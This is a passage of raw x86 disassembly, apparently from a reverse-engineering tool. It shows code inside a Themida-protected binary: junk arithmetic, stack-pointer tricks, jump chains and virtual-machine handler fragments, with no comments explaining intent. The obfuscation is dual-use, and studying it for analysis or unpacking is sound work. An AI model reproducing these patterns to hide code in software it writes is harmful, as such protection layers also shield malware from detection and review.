		sub	eax, 38AD0B28h
		sub	eax, ebx
		add	eax, 38AD0B28h
		push	ebp
		push	edi
		push	ebp
		mov	ebp, 7B6D07A3h
		mov	edi, 0F4164B30h
		add	edi, ebp
		pop	ebp
		push	edi
		mov	ebp, [esp]
		jmp	loc_58CDCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_59060C:				; CODE XREF: sub_59196D+82Aj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5909D0
; ---------------------------------------------------------------------------


loc_590619:				; CODE XREF: sub_59196D-1E00j
					; sub_59196D+3C74j
		push	dword ptr [edi+1Ch]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_58B5DC
; ---------------------------------------------------------------------------


loc_59062A:				; CODE XREF: sub_59196D+4FF0j
		sub	edi, 30F0A6Dh
		jmp	loc_5924FC
; ---------------------------------------------------------------------------


loc_590635:				; CODE XREF: sub_59196D-5CD1j
		xor	edx, ecx
		jmp	loc_5921C3
; ---------------------------------------------------------------------------


loc_59063C:				; CODE XREF: sub_59196D-3A94j
		push	eax
		push	esp
		pop	eax
		push	38D4h
		mov	[esp+0], ecx
		mov	ecx, 286D7CF6h
		jmp	loc_59395C
; ---------------------------------------------------------------------------


loc_590651:				; CODE XREF: sub_59196D+635Dj
		mov	esi, 4
		jmp	loc_5957D7
; ---------------------------------------------------------------------------


loc_59065B:				; CODE XREF: sub_59196D-594Cj
					; sub_59196D:loc_58C0F3j
		push	dword ptr [esp+0]
		pop	edx
		add	esp, 4
		xor	bl, al
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, 28h
		jmp	sub_59128B
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_590677	proc near		; CODE XREF: sub_59196D-2878j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, 0
		add	edx, ecx
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		add	dword ptr [ebx], 1
		jmp	loc_594C7B
sub_590677	endp


; =============== S U B	R O U T	I N E =======================================



sub_59069A	proc near		; CODE XREF: sub_59196D+6931j

; FUNCTION CHUNK AT 0058C5EB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058EBB2 SIZE 0000000A BYTES

		push	ebx
		jmp	loc_58EBB2
sub_59069A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_5906A0:				; CODE XREF: sub_59196D+677Ej
		mov	ebx, esi
		mov	edi, ebx
		pop	ebx
		jmp	loc_58B68D
; ---------------------------------------------------------------------------


loc_5906AA:				; CODE XREF: sub_59196D+3578j
		xchg	esi, ecx
		jmp	loc_596CF2
; ---------------------------------------------------------------------------


loc_5906B1:				; CODE XREF: sub_59196D-2488j
					; sub_59196D+1357j
		push	dword ptr [esp+4]
		pop	esi
		pop	[esp+12h+var_12]
		pop	esp
		add	eax, 4
		push	eax
		push	[esp+0Eh+var_C+2]
		pop	eax
		jmp	loc_58BCF4
; ---------------------------------------------------------------------------


loc_5906C8:				; CODE XREF: sub_59196D-3DCCj
		add	[esp+4], edi
		sub	dword ptr [esp+4], 584349E2h
		pop	edi
		jmp	loc_592136
; ---------------------------------------------------------------------------


loc_5906DA:				; CODE XREF: sub_59196D-1DBj
		shl	ecx, 6
		inc	ecx
		sub	ecx, 0C854FA8Dh
		xor	ebx, ecx
		jmp	loc_596ACC
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_5906EB	proc near		; CODE XREF: sub_59196D+37D9j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058CFD7 SIZE 00000014 BYTES

		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	ecx
		jmp	loc_58CFD7
sub_5906EB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_5906FA:				; CODE XREF: sub_59196D+1D8Dj
		mov	esp, [esp+0]
		push	ebx
		push	esi
		mov	esi, 3242F93h
		push	2BA7C4D1h
		pop	ebx
		push	edi
		mov	edi, 5C6367EFh
		neg	edi
		jmp	loc_58F404
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_590717	proc near		; CODE XREF: sub_59196D+6BD9j
		push	ebp
		push	eax
		jmp	loc_595EC5
sub_590717	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_59071E:				; CODE XREF: sub_59196D+834j
		pop	ecx
		sub	eax, 31091AE4h
		add	eax, esi
		jmp	loc_592812
; ---------------------------------------------------------------------------


loc_59072B:				; CODE XREF: sub_59196D+3689j
		pop	dword ptr [edi+20h]
		jmp	loc_593256
; ---------------------------------------------------------------------------


loc_590733:				; CODE XREF: sub_59196D+387Bj
		neg	dl
		neg	dl
		push	ebx
		mov	bl, 7
		inc	bl
		shr	bl, 1
		sub	bl, 1Bh
		shr	bl, 3
		and	bl, 5Bh
		add	bl, 9Eh
		add	dl, bl
		pop	ebx
		add	al, dl
		jmp	loc_58F7E0
; ---------------------------------------------------------------------------


loc_590754:				; CODE XREF: sub_59196D-462Bj
		mov	ecx, 4
		jmp	loc_5946A8
; ---------------------------------------------------------------------------


loc_59075E:				; CODE XREF: sub_59196D-118Dj
		mov	[esp+4Ah+var_4A], ebp
		sub	esp, 4
		jmp	loc_594B09
; ---------------------------------------------------------------------------


loc_59076C:				; CODE XREF: sub_59196D-2C2Ej
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp+14h+var_16+2]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_594F8E
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B60E


loc_590786:				; CODE XREF: sub_58B60E+4E80j
		push	[esp+arg_0]
		mov	ecx, [esp+4+var_4]
		jmp	loc_5937AD
; END OF FUNCTION CHUNK	FOR sub_58B60E

; =============== S U B	R O U T	I N E =======================================



sub_590792	proc near		; DATA XREF: Themida_:0058B1E8o

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058B444 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058B695 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058BF3E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058C3C8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058C6A9 SIZE 00000028 BYTES

		lodsb
		add	al, 9Eh
		sub	al, 12h
		add	al, bl
		add	al, 12h
		push	ebx
		push	ecx
		push	ebx
		mov	bl, 95h
		push	edx
		jmp	loc_58BF3E
sub_590792	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_5907A6:				; CODE XREF: sub_59196D+1A8Fj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+14h+var_16+2]
		pop	esp
		mov	[esp+10h+var_12+2], edx
		push	ebx
		mov	ebx, 704F179Fh
		push	ebx
		mov	ebx, 39661A53h
		jmp	loc_5948A0
; ---------------------------------------------------------------------------


loc_5907C7:				; CODE XREF: sub_59196D-670j
		add	edi, eax
		sub	edi, 77FB6DDFh
		mov	eax, [esp+18h+var_1A+2]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp+14h+var_16+2]
		sub	esp, 4
		jmp	loc_59075E
; ---------------------------------------------------------------------------


loc_5907E5:				; CODE XREF: sub_59196D-5483j
		add	esp, 4
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5907ED:				; CODE XREF: sub_59196D+3418j
		push	edx
		push	esi
		mov	esi, 14CE3803h
		shl	esi, 2
		and	esi, 593500AAh
		and	esi, 619F0758h
		push	ebx
		jmp	loc_58CCEA
; ---------------------------------------------------------------------------


loc_590809:				; CODE XREF: sub_59196D-3F90j
		push	edx
		mov	edx, 77106B4Ch
		jmp	loc_591C06
; ---------------------------------------------------------------------------


loc_590814:				; CODE XREF: sub_59196D-563Bj
		mov	edi, ebx
		pop	ebx
		sub	ebp, 74C248A8h
		add	ebp, edi
		add	ebp, 74C248A8h
		pop	edi
		push	eax
		push	ebx
		mov	ebx, 56EB55C0h
		push	esi
		jmp	loc_590F23
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_590833:				; CODE XREF: Themida_:0058D817j
		add	esp, 4
		jmp	loc_590994
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_59083B:				; CODE XREF: sub_59196D+4FB8j
		add	eax, 7BD620AFh
		push	edi
		mov	edi, 24657CE9h
		sub	edi, 1
		add	edi, 2A5E272Fh
		push	2F85h
		jmp	loc_59363B
; ---------------------------------------------------------------------------


loc_59085C:				; CODE XREF: sub_59196D+65D6j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+28h+var_2A+2]
		pop	esp
		sub	esp, 4
		mov	[esp+28h+var_2A+2], edi
		push	eax
		mov	eax, 68B848B4h
		mov	edi, 9747B84Ch
		jmp	loc_5912F7
; ---------------------------------------------------------------------------


loc_590885:				; CODE XREF: sub_59196D+FFCj
		mov	edi, [esp+2Ch+var_2E+2]
		add	esp, 4
		pop	ecx
		add	eax, esi
		pop	esi
		push	ebp
		push	edi
		jmp	loc_59181F
; ---------------------------------------------------------------------------


loc_590899:				; CODE XREF: sub_59196D-5BC9j
		mov	edi, 2DDC7C2Bh
		shl	edi, 8
		shr	edi, 6
		xor	edi, 6C688D72h
		sub	ecx, edi
		jmp	loc_595D44
; ---------------------------------------------------------------------------


loc_5908B1:				; CODE XREF: sub_59196D+1CC9j
		mov	dl, 90h
		jmp	loc_597211
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B85F


loc_5908B8:				; CODE XREF: sub_58B85F+6j
		mov	[esp+4+var_4], esi
		mov	esi, 194C3F9Ah
		add	esi, 540E6678h
		push	ecx
		mov	ecx, 12569C5h
		inc	ecx
		neg	ecx
		sub	ecx, 917FF024h
		xor	esi, ecx
		pop	ecx
		jmp	loc_5931DE
; END OF FUNCTION CHUNK	FOR sub_58B85F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_5908DD:				; CODE XREF: sub_59196D-583Aj
		dec	al
		jmp	loc_592363
; ---------------------------------------------------------------------------


loc_5908E4:				; CODE XREF: sub_59196D-2BB0j
		add	edx, 2
		xor	edx, [esp+24h+var_26+2]
		xor	[esp+24h+var_26+2], edx
		xor	edx, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		sar	word ptr [esp+24h+var_26+2], cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5908FD:				; CODE XREF: sub_59196D+293Dj
		mov	esi, 291A24ECh
		jmp	loc_58DB6C
; ---------------------------------------------------------------------------


loc_590907:				; CODE XREF: sub_59196D+4B7Bj
		xor	[esp+28h+var_2A+2], 612D18C2h
		pop	esi
		xor	esi, 612D18C2h
		jmp	loc_58E825
; ---------------------------------------------------------------------------


loc_59091A:				; CODE XREF: sub_59196D-1ED5j
		mov	ebp, 10CB7752h
		sub	edx, 4A41659h
		add	edx, 0A842F74h
		sub	edx, ebp
		jmp	loc_58EEDA
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_590932	proc near		; CODE XREF: sub_59196D-891j

var_4		= dword	ptr -4

		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		jmp	loc_58B37B
sub_590932	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_59094A:				; CODE XREF: sub_59196D+4A85j
		jmp	loc_58F812
; ---------------------------------------------------------------------------


loc_59094F:				; CODE XREF: sub_59196D+4610j
		sub	edx, 41AE7914h
		sub	edx, 0FAC135Eh
		push	esi
		mov	esi, 679806B0h
		dec	esi
		shr	esi, 8
		and	esi, 2D766747h
		not	esi
		sub	esi, 0C542F762h
		sub	edx, esi
		pop	esi
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_59097B:				; CODE XREF: sub_59196D-2465j
					; sub_59196D+6B5Aj
		or	eax, 5A07146Eh
		jmp	loc_592724
; ---------------------------------------------------------------------------


loc_590985:				; CODE XREF: sub_59196D-198Aj
		mov	[esp+0Ah+var_C+2], ebp
		mov	ebp, 18FD62F6h
		neg	ebp
		jmp	loc_5973E2
; ---------------------------------------------------------------------------


loc_590994:				; CODE XREF: Themida_:00590836j
					; sub_59196D+60Fj
		add	eax, 5B413D92h
		sub	eax, ebx
		sub	eax, 5B413D92h
		push	edi
		push	21BDh
		mov	[esp+12h+var_12], ebp
		push	4B9A6AB4h
		pop	ebp
		push	ebp
		xor	[esp+16h+var_16], 57B36C44h
		pop	edi
		jmp	loc_5943F3
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_5909BD	proc near		; CODE XREF: sub_59196D-4DB4j

; FUNCTION CHUNK AT 0058E4D1 SIZE 00000017 BYTES

		push	ebp
		jmp	loc_58E4D1
sub_5909BD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_5909C3:				; CODE XREF: sub_59196D+755j
		xor	dx, 3BCCh
		mov	di, dx
		jmp	loc_5932E0
; ---------------------------------------------------------------------------


loc_5909D0:				; CODE XREF: sub_59196D-1359j
		sub	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		jmp	loc_590168
; ---------------------------------------------------------------------------


loc_5909DE:				; CODE XREF: sub_59196D+1DC9j
		jl	loc_58DDF9
		push	ecx
		xor	[esp+10h+var_12+2], eax
		xor	eax, [esp+10h+var_12+2]
		xor	[esp+10h+var_12+2], eax
		not	eax
		xchg	eax, [esp+10h+var_12+2]
		mov	ecx, [esp+10h+var_12+2]
		add	esp, 4
		sub	ecx, 655D23F4h
		jp	loc_59278E
		xor	ecx, 1EFF2096h
		push	edx
		jmp	loc_593127
; ---------------------------------------------------------------------------


loc_590A14:				; CODE XREF: sub_59196D+2CA4j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_590A19:				; CODE XREF: sub_59196D+24F9j
		pop	ebx
		jmp	loc_590AD3
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_590A1F:				; DATA XREF: Themida_:0058B0B4o
		push	edx
		jmp	loc_595471
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_590A25:				; CODE XREF: sub_59196D-4392j
		mov	edx, 2
		add	ebx, edx
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp+12h+var_12]
		pop	esp
		jmp	loc_590081
; ---------------------------------------------------------------------------


loc_590A3C:				; CODE XREF: sub_59196D+33ECj
		pop	edi
		sub	eax, 5CCA7E56h
		jmp	loc_5960E7
; ---------------------------------------------------------------------------


loc_590A47:				; CODE XREF: sub_59196D+386Cj
		sub	esi, 36C90AF4h
		mov	ebp, [esp+6+var_8+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0Ah+var_C+2]
		pop	esp
		add	esi, 4
		xchg	esi, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		push	1
		push	[esp+0Ah+var_C+2]
		push	dword ptr [esp+0]
		mov	eax, [esp+12h+var_12]
		add	esp, 4
		jmp	loc_58B515
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_590A95:				; CODE XREF: sub_59196D+1E23j
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ebp
		push	41BA65ECh
		pop	ebp
		jmp	loc_592411
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_590AA9:				; CODE XREF: Themida_:0058EE79j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_590AAE:				; CODE XREF: sub_59196D-14E6j
		push	edx
		push	ebp
		pop	edx
		push	[esp+40h+var_40]
		pop	ebp
		add	esp, 4
		jmp	loc_58F01B
; ---------------------------------------------------------------------------


loc_590ABD:				; CODE XREF: sub_59196D-D98j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_590AC2:				; CODE XREF: sub_59196D+EA0j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+3Ch+var_3C]
		jmp	loc_5913B0
; ---------------------------------------------------------------------------


loc_590AD3:				; CODE XREF: sub_59196D-F53j
		push	40F7h
		jmp	loc_593003
; ---------------------------------------------------------------------------


loc_590ADD:				; CODE XREF: sub_59196D-E88j
		pop	edx
		jmp	loc_58BE4C
; ---------------------------------------------------------------------------


loc_590AE3:				; CODE XREF: sub_59196D-154Bj
		xor	eax, edx
		jmp	loc_590ADD
; ---------------------------------------------------------------------------


loc_590AEA:				; CODE XREF: sub_59196D+180Ej
		sub	al, 40h
		mov	cx, [esp+0]
		add	esp, 2
		xor	bl, al
		jmp	loc_596519
; ---------------------------------------------------------------------------


loc_590AFA:				; CODE XREF: sub_59196D-1EF3j
		jmp	loc_592347
; ---------------------------------------------------------------------------


loc_590AFF:				; CODE XREF: sub_59196D+3E46j
		xchg	ebx, [esp+1Ch+var_1E+2]
		pop	esp
		shr	eax, 1
		shl	eax, 2
		shl	eax, 6
		jmp	loc_59050F
; ---------------------------------------------------------------------------


loc_590B10:				; CODE XREF: sub_59196D+1CF9j
		shl	eax, 2
		or	eax, 61E14AEBh
		add	eax, 961E8115h
		add	ebp, eax
		pop	eax
		jmp	loc_592407
; ---------------------------------------------------------------------------


loc_590B25:				; CODE XREF: sub_59196D+24A7j
		sub	eax, 14B1763h
		pop	ebp
		push	edi
		mov	edi, 2
		sub	eax, 31F529DCh
		push	ecx
		mov	ecx, 6DE31FD5h
		shr	ecx, 3
		xor	ecx, 58B3A6Ah
		shr	ecx, 1
		sub	ecx, 0AAD1827h
		and	ecx, 270A0229h
		add	ecx, 5DA70C8Fh
		jmp	loc_58FE4C
; ---------------------------------------------------------------------------


loc_590B5E:				; CODE XREF: sub_59196D-6551j
		jo	loc_5927E3
		or	eax, 9687297h
		jg	loc_593E4A
		inc	eax
		jge	loc_5915E2
		jmp	loc_58DDE5
; ---------------------------------------------------------------------------


loc_590B7B:				; CODE XREF: sub_59196D+51DCj
		add	esi, 305D676Ch
		add	esi, 0E0C9FDD5h
		add	eax, esi
		jmp	loc_5953A8
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_590B8E	proc near		; DATA XREF: Themida_:0058B1A4o
		mov	cx, [esp+0]
		push	ebp
		mov	ebp, esp
		jmp	loc_5960F1
sub_590B8E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_590B9A:				; CODE XREF: sub_59196D-4611j
		shl	eax, 7
		push	ecx
		mov	ecx, 0FFFFFFFFh
		sub	eax, ecx
		jmp	loc_591443
; ---------------------------------------------------------------------------


loc_590BAA:				; CODE XREF: sub_59196D-BFEj
					; sub_59196D+73Dj
		mov	ch, 87h
		mov	dh, ch
		pop	ecx
		or	dh, 0A6h
		not	dh
		push	1E1Dh
		mov	[esp+4Eh+var_4E], ebx
		mov	bh, 2Ch
		add	dh, bh
		pop	ebx
		sub	bl, dh
		pop	edx
		add	bl, al
		push	small 6F3Ch
		jmp	loc_5900CA
; ---------------------------------------------------------------------------


loc_590BCF:				; CODE XREF: sub_59196D-4BF4j
		mov	esp, [esp+3Eh+var_40+2]
		cmp	ecx, eax
		pushf
		jmp	loc_590ABD
; ---------------------------------------------------------------------------


loc_590BDA:				; CODE XREF: sub_59196D-2795j
		pop	ebx
		jmp	loc_5966C6
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_590BE0	proc near		; CODE XREF: sub_59196D+514Cj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058B643 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058BDCF SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058FC9A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00590FA4 SIZE 0000001B BYTES

		push	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		push	7823h
		jmp	loc_590FA4
sub_590BE0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_590BFE:				; CODE XREF: sub_59196D-5j
		xor	esi, ecx
		pop	ecx
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp+14h+var_16+2]
		mov	esp, [esp+14h+var_16+2]
		bt	word ptr [esp+14h+var_16+2], ax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_590C15:				; CODE XREF: sub_59196D+1F12j
		mov	esp, [esp+18h+var_1A+2]
		shl	word ptr [esp+18h+var_1A+2], cl
		pushf
		jmp	loc_58B37B
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_590C22:				; DATA XREF: Themida_:0058B1DCo
		movzx	ax, byte ptr [edx]
		push	7B7Dh
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		jmp	loc_58F3CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_590C3E:				; CODE XREF: sub_59196D+1F26j
		add	edx, 4
		push	esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_596CE3
; ---------------------------------------------------------------------------


loc_590C51:				; CODE XREF: sub_59196D+3580j
		mov	eax, [esp+20h+var_22+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+20h+var_22+2], edi
		jmp	loc_58C138
; ---------------------------------------------------------------------------


loc_590C68:				; CODE XREF: sub_59196D-5D8j
		add	esi, ecx
		pop	ecx
		sub	edx, 29C86F8Dh
		jmp	loc_592C9B
; ---------------------------------------------------------------------------


loc_590C76:				; CODE XREF: sub_59196D+660Bj
		sub	eax, 59A9657Bh
		sub	eax, ebp
		add	eax, 59A9657Bh
		push	edx
		mov	edx, 4CD95517h
		sub	eax, edx
		mov	edx, [esp+20h+var_22+2]
		add	esp, 4
		add	eax, 0EE15503h
		jmp	loc_58C7F7
; ---------------------------------------------------------------------------


loc_590C9A:				; CODE XREF: sub_59196D+3D7Cj
		mov	esp, [esp+1Ch+var_1E+2]
		jmp	loc_58B839
; ---------------------------------------------------------------------------


loc_590CA2:				; CODE XREF: sub_59196D+54B8j
		add	ebx, 0E7C0126h
		add	ebx, 0DA4FCFDBh
		push	edi
		push	eax
		mov	eax, 42A0936h
		mov	edi, eax
		jmp	loc_597B3D
; ---------------------------------------------------------------------------


loc_590CBC:				; CODE XREF: sub_59196D+3626j
		mov	[esp+24h+var_26+2], ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_5957F6
; ---------------------------------------------------------------------------


loc_590CCB:				; CODE XREF: sub_59196D+12CFj
		mov	[esp+24h+var_26+2], ebx
		push	[esp+24h+var_22+2]
		pop	ebx
		pop	[esp+24h+var_26+2]
		jmp	loc_5959DD
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_590CDB	proc near		; CODE XREF: sub_590438+10j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058C87D SIZE 00000014 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp+4+var_4]
		jmp	loc_58C87D
sub_590CDB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_590CFD:				; CODE XREF: sub_59196D+43D2j
		push	esp
		jmp	loc_5936E7
; ---------------------------------------------------------------------------


loc_590D03:				; CODE XREF: sub_59196D+2143j
		shl	ch, 5
		add	ch, 14h
		sub	bl, ch
		pop	ecx
		sub	al, bl
		mov	ebx, [esp+20h+var_22+2]
		add	esp, 4
		push	dx
		push	ebx
		mov	bl, 0E0h
		push	ecx
		mov	ch, 8Ah
		push	0
		sub	byte ptr [esp+2Ah+var_2A], ch
		mov	ch, byte ptr [esp+2Ah+var_2A]
		add	esp, 4
		shr	ch, 3
		add	ch, 0CCh
		and	bl, ch
		pop	ecx
		inc	bl
		js	loc_596EFF
		add	bl, 66h
		push	eax
		mov	al, 0E6h
		jmp	loc_59519E
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_590D4A:				; CODE XREF: sub_59196D-1AF8j
		add	ebx, esi
		mov	esi, [esp+14h+var_16+2]
		jmp	loc_5981CE
; ---------------------------------------------------------------------------


loc_590D54:				; CODE XREF: sub_59196D+1817j
		sub	al, ch
		sub	al, 70h
		push	[esp+14h+var_16+2]
		push	[esp+18h+var_1A+2]
		pop	ecx
		add	esp, 4
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp+18h+var_1A+2], ecx
		jmp	loc_590BAA
; ---------------------------------------------------------------------------


loc_590D74:				; CODE XREF: sub_59196D-519Aj
		add	bx, 4002h
		push	4535h
		mov	[esp+42h+var_44+2], ecx
		mov	cx, 57D6h
		shr	cx, 2
		xor	cx, 19B8h
		sub	bx, cx
		mov	ecx, [esp+42h+var_44+2]
		add	esp, 4
		add	bx, ax
		push	dx
		mov	dx, 0C4Dh
		add	bx, dx
		mov	dx, word ptr [esp+40h+var_40]
		add	esp, 2
		push	si
		push	ebx
		mov	bx, 731h
		push	edx
		mov	dx, 49C0h
		add	dx, 201Fh
		jmp	loc_58C34F
; ---------------------------------------------------------------------------


loc_590DC0:				; CODE XREF: sub_59196D+1F6Cj
		push	ecx
		push	eax
		push	ebx
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	edx
		mov	edx, 4
		jmp	loc_59755A
; ---------------------------------------------------------------------------


loc_590DDA:				; CODE XREF: sub_59196D:loc_591717j
		neg	esi
		xor	esi, 0FB636B2h
		add	dword ptr [esp+4], 0BEC02DAh
		add	dword ptr [esp+4], 587F67BBh
		add	[esp+4], esi
		push	ebp
		mov	ebp, 587F67BBh
		sub	[esp+8], ebp
		pop	ebp
		push	703Ch
		mov	[esp+5Eh+var_60+2], ebx
		mov	ebx, 0BEC02DAh
		jmp	loc_58D568
; ---------------------------------------------------------------------------


loc_590E13:				; CODE XREF: sub_59196D-4B24j
		mov	[esp+24h+var_26+2], edi
		sub	esp, 4
		mov	[esp+28h+var_2A+2], esp
		sub	esp, 4
		mov	[esp+2Ch+var_2E+2], edi
		mov	edi, 4
		add	[esp+2Ch+var_2A+2], edi
		jmp	loc_591763
; ---------------------------------------------------------------------------


loc_590E36:				; CODE XREF: sub_59196D-5400j
		add	ebp, 0A0E74CFEh
		sub	ebx, 39856D1Dh
		add	ebx, ebp
		add	ebx, 39856D1Dh
		pop	ebp
		xchg	ebx, [esp+0Ah+var_C+2]
		pop	esp
		mov	ax, word ptr [esp+6+var_8+2]
		push	edi
		mov	edi, esp
		push	1947h
		mov	[esp+0], edx
		mov	edx, 694C34ACh
		push	ebx
		mov	ebx, 766C1A21h
		jmp	loc_59173D
; ---------------------------------------------------------------------------


loc_590E6E:				; CODE XREF: sub_59196D+2110j
		add	dl, 0FFh
		jmp	loc_596A41
; ---------------------------------------------------------------------------


loc_590E76:				; CODE XREF: sub_59196D+4749j
		mov	edi, [esp+12h+var_12]
		jmp	loc_591E32
; ---------------------------------------------------------------------------


loc_590E7E:				; CODE XREF: sub_59196D-1D43j
					; sub_59196D+1D75j
		push	edx
		push	ebx
		sub	[esp+18h+var_1A+2], 33CC6844h
		jmp	loc_5976AF
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5939E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_590E98:				; CODE XREF: sub_59196D+4742j
		push	edx
		mov	dl, 0F5h
		jmp	loc_59757F
; ---------------------------------------------------------------------------


loc_590EA0:				; CODE XREF: sub_59196D-705j
		pop	edx
		neg	edx
		jge	loc_5925A2
		and	edx, 2FC17A04h
		jo	loc_596E2A
		mov	bl, 7


loc_590EB7:				; CODE XREF: sub_59196D-4892j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	eax
		mov	eax, 30290E8Dh
		xor	[esp+20h+var_1E+2], eax
		jmp	loc_595688
; ---------------------------------------------------------------------------


loc_590ECC:				; CODE XREF: sub_59196D-48D7j
		add	esp, 4
		sub	ebx, 67280549h
		add	ebx, 313F7E33h
		jmp	loc_58D02E
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		push	edx
		push	ebp
		push	7B149Bh
		mov	ebp, [esp]
		push	edx
		push	esp
		jmp	loc_592877
; ---------------------------------------------------------------------------
